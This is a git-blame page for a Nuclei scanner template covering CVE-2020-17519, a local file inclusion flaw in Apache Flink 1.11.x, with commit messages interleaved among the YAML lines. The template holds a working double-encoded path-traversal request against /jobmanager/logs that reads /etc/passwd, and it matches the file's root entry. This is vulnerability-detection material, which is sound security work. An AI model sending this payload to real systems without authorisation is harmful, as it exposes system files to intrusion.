daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2020/CVE-2020-17519.yaml

36 lines
1.4 KiB
YAML
Raw Normal View History

adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
id: CVE-2020-17519
info:
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
name: Apache Flink - Local File Inclusion
misc tag updates
2021-04-06 06:46:11 +00:00
author: pdteam
adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
severity: high
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://github.com/B1anda0/CVE-2020-17519
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-17519
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 7.5
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2020-17519
cwe-id: CWE-552
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
tags: cve,cve2020,apache,lfi,flink
adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
matcher update to handle edge cases
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
adding CVE-2020-17519
2021-01-06 07:08:41 +00:00
part: body
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
# Enhanced by mp on 2022/07/13